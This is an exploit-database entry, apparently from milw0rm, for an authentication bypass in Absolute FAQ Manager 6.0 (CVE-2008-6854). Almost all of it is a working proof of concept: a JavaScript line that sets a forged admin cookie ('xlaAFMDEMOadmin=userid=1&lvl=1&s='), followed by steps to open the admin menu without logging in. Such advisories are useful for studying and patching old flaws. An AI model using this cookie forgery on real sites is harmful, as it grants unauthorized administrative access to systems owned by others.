Absolute FAQ Manager 6.0 - Insecure Cookie Handling



EKU-ID: 14775 CVE: OSVDB-55864;CVE-2008-6854 OSVDB-ID:
Author: Hakxer Published: 2008-10-31 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


#####################################################################################
# Discovered by : Hakxer                                                            #
# Script : Absolute FAQ Manager http://www.xigla.com/absolutefmnet/demo.htm         #
# Greetz : Allah , All My friend ,www.educ-up.com                                   #
# -------------------------------                                                   #
# Poc :                                                                             #
# javascript:document.cookie="xlaAFMDEMOadmin=userid=1&lvl=1&s=";                   #
#                                                                                   #
# [~] Exploit                                                                       #
#                                                                                   #
# Go To admin login : http://www.xigla.com/absolutefmnet/demo/login.aspx            #
# Execute JS Code : javascript:document.cookie="xlaAFMDEMOadmin=userid=1&lvl=1&s="; #
# Now Go to :http://www.xigla.com/absolutefmnet/demo/menu.aspx                      #
# 								                    #
# Absolute Products .. Crashed ( Insecure Cookie Vulnerability )                    #
#####################################################################################

# milw0rm.com [2008-10-31]